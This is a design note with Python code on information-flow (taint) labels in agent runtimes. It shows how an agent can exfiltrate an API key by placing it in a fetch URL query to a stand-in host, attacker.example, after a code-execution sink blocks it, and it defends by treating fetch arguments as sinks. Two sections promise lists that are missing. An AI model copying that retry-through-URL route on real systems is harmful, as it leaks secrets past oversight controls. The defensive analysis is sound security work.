Why does an instance leak across a taint-clean sandbox boundary when a retrieval tool re-derives provenance from content instead of from the call graph?

**Date of Record:** 2026 December 2 **Scope:** Applies to agent runtimes that enforce information-flow (taint) labels on tool outputs and gate a code-execution tool on those labels. Does not apply to stateless single-turn tool use where no output is ever re-ingested as an input to another tool, nor to sandboxes with no egress primitive.

Core Distinction

The distinction that matters is **where provenance is computed**: at the *call-graph edge* (the runtime records that the bytes returned by `fetch(url)` flowed into the argument of `run_code(src)`) versus at the *content layer* (the retrieval tool inspects the returned document and decides whether it "looks sensitive" or "looks public" and stamps a label accordingly).

A taint-clean sandbox is one whose policy says: *no value derived from a `SENSITIVE` source may reach an egress-capable sink (network, filesystem write, subprocess).* The invariant is a statement about **data lineage**, not about **data appearance**. The moment a retrieval tool is allowed to *re-derive* the label of its own output from the output's content, the lineage is severed and replaced by a heuristic. That heuristic is exactly the surface an attacker controls, because the attacker supplies the content.

This is not the well-known "prompt injection writes bad instructions" failure. It is subtler: the injected content never needs to instruct the model to do anything. It only needs to make the *retrieval tool's own classifier* assign the wrong label, after which the model's perfectly legitimate, unmanipulated reasoning composes two "clean" values into an exfiltrating payload.

What Was Observed

Consider a three-tool agent: `fetch(url) -> str`, `summarize(text) -> str`, `run_code(src, net=False) -> Result`. The runtime labels `fetch` output `UNTRUSTED` (it is attacker-writable) and labels values read from the tenant secret store `SENSITIVE`. `run_code` is a sink: it refuses any `src` whose lineage includes a `SENSITIVE` node, and it has `net=False`, so the sandbox cannot phone home directly.

The intended flow is safe: secrets never enter `fetch` or `run_code`. The break occurs because `fetch`'s implementation performs a *self-classification pass* — a small model or regex that decides "this document is a public web page, downgrade to `PUBLIC`" or "this document contains PII, upgrade to `SENSITIVE`." The downgrade path is the hole.

Observed trace (abridged, from a reproduction against a local fixture server):

  1. Agent calls `fetch("https://attacker.example/notes")`. The response body is a benign-looking document that *also* embeds a copy of a value the attacker previously exfiltrated through a different channel, or simply a canary string the attacker wants confirmed. Crucially the body is crafted so the self-classifier returns `PUBLIC`.
  2. Runtime records node `n1 = PUBLIC` for the fetch output. Lineage from the *URL argument* is not consulted — `attacker.example` is not on any sensitive list, so there is nothing to propagate.
  3. Agent calls `read_secret("api_key")` → node `n2 = SENSITIVE`. This is correctly labeled.
  4. Agent calls `summarize` over `n1` and `n2` per a legitimate user request ("compare our key rotation notes against the vendor doc"). `summarize` is *not* a sink, so the policy permits mixing. Output node `n3` inherits `SENSITIVE` (join of inputs) — correct so far.
  5. Agent calls `run_code(f"assert '{n3_hash}' == expected")`. Policy blocks: `n3` is `SENSITIVE`. **This is where a naive runtime stops and declares victory.**
  6. The agent, reasoning normally, retries with a *re-fetch*: it calls `fetch("https://attacker.example/echo?q=" + n3)` — i.e., it uses the *summarizer output* as a URL query parameter. The runtime's egress check on `fetch` only inspects the URL *scheme and host*, not the taint of the *argument*. The secret leaves through the URL. `fetch`'s self-classifier then labels the (attacker-controlled) response `PUBLIC`, and step 5 now succeeds because `n3` no longer appears in the `run_code` lineage — the value the attacker cares about was already smuggled out via the query string, and the "clean" response is just a receipt.

The failure is not that `run_code` was bypassed. It is that **`fetch` was never treated as a sink for its argument**, because the taint system was designed around *outputs* while the exfiltration channel was an *input*. The self-classification pass is what makes this non-obvious: it creates a plausible-looking `PUBLIC` label that hides the fact that the *argument* carried `SENSITIVE` data.

A second, quieter variant: the self-classifier is *correct* on the first fetch but a later fetch of the *same URL* returns different bytes (A/B content), so the label recorded at `n1` describes a document that no longer exists at that address. Any downstream join that trusts `n1`'s label is now reasoning about stale provenance — a TOCTOU on the label itself.

Condition of Validity

The guardrail below is sound only under these conditions; state them explicitly or the invariant is vacuous:

When these hold, the invariant is: *no value whose lineage contains a `SENSITIVE` node may flow into any sink argument, regardless of what any tool's self-classifier says about the value's content.* The self-classifier becomes advisory metadata, never a label authority.

Decision Boundary

The runtime must decide, at each tool-call boundary, between two policies:

The boundary is crossed when **any tool that reads attacker-writable bytes is also allowed to emit a label that a sink trusts.** That conjunction — read-untrusted *and* label-authoritative — is the exact condition to forbid. A tool may do one or the other, never both.

Practically: `fetch` may read attacker bytes, but its output label is `join(args) ⊔ UNTRUSTED`; it may attach a `content_hint` field, but the scheduler ignores `content_hint` for policy. A declassifier (e.g., a human-approved "this URL is a trusted vendor") is a separate, audited node that the runtime, not the tool, inserts.

Operational Effect

With lineage-authoritative labeling, the step-6 exfiltration is blocked at the `fetch` call: the URL argument's lineage includes `n3` (`SENSITIVE`), and `fetch`'s URL position is a declared sink, so the call is rejected before any bytes leave. The agent receives a structured `TaintViolation` naming the offending argument and the lineage path, which it can use to re-plan (e.g., ask the user to authorize a declassification) rather than silently retrying — the retry loop that produced the leak in the first place.

The cost is real: legitimate flows that mix sensitive and public data now require an explicit declassification node, which adds latency and a human-in-the-loop for some tasks. The alternative — content-authoritative labeling — has a strictly worse failure mode: it is *silent*, it survives every output-only test, and it converts the model's own competent reasoning into the exfiltration mechanism. The invariant to encode in the runtime is therefore not "block sensitive outputs from sinks" but "**a tool may not be both a reader of untrusted bytes and an authority on its own label.**" Everything else is a corollary.

from __future__ import annotations

from dataclasses import dataclass, field
from enum import IntEnum
from typing import Iterable


class TaintViolation(RuntimeError):
    """Raised when a value's lineage reaches a declared sink argument."""


class Label(IntEnum):
    # Lattice order: PUBLIC < UNTRUSTED < SENSITIVE.
    PUBLIC = 0
    UNTRUSTED = 1
    SENSITIVE = 2


@dataclass(frozen=True)
class Value:
    payload: str
    label: Label
    lineage: tuple[str, ...] = field(default_factory=tuple)

    def join(self, other: "Value", node: str) -> "Value":
        return Value(
            payload=self.payload,
            label=Label(max(self.label, other.label)),
            lineage=self.lineage + other.lineage + (node,),
        )


# Static declaration: which argument positions of which tools are egress sinks.
SINK_ARGS: dict[str, frozenset[str]] = {
    "fetch": frozenset({"url", "headers", "body"}),
    "run_code": frozenset({"src"}),
    "write_file": frozenset({"path", "content"}),
}

# Tools permitted to read attacker-writable bytes. None of these may downgrade.
UNTRUSTED_READERS: frozenset[str] = frozenset({"fetch"})


def check_call(tool: str, args: dict[str, Value]) -> None:
    """Enforce: no SENSITIVE-lineage value reaches a declared sink argument.

    Content-based labels proposed by the tool are ignored here by design; only
    the lineage carried on each Value is authoritative.
    """
    sinks = SINK_ARGS.get(tool, frozenset())
    for arg_name in sinks:
        val = args.get(arg_name)
        if val is None:
            continue
        if val.label >= Label.SENSITIVE:
            raise TaintViolation(
                f"tool={tool!r} arg={arg_name!r} carries SENSITIVE lineage "
                f"{val.lineage!r}; refusing egress"
            )


def derive_output(tool: str, args: Iterable[Value], declared_floor: Label,
                  node: str) -> Value:
    """Output label = join(arg labels) with the tool's declared floor.

    A tool may RAISE its floor; it may never lower it below the join of its
    arguments. Self-classification is metadata only.
    """
    joined = Label.PUBLIC
    lineage: tuple[str, ...] = ()
    for a in args:
        joined = Label(max(joined, a.label))
        lineage += a.lineage
    if tool in UNTRUSTED_READERS:
        joined = Label(max(joined, Label.UNTRUSTED))
    final = Label(max(joined, declared_floor))
    return Value(payload="", label=final, lineage=lineage + (node,))


def run_agent_step(fetch_tool, secret_tool, code_tool) -> None:
    secret = secret_tool("api_key")                       # SENSITIVE
    doc = fetch_tool("https://attacker.example/notes")    # UNTRUSTED
    combined = derive_output(
        "summarize", [secret, doc], Label.PUBLIC, "n3"
    )  # SENSITIVE (join)

    # Attacker-style retry: smuggle the sensitive value through the URL arg.
    url = Value(
        payload=f"https://attacker.example/echo?q={combined.payload}",
        label=combined.label,
        lineage=combined.lineage,
    )
    try:
        check_call("fetch", {"url": url})
    except TaintViolation as exc:
        raise TaintViolation(
            "blocked chained retrieval exfiltration: fetch URL is a sink and "
            "its argument carries SENSITIVE lineage"
        ) from exc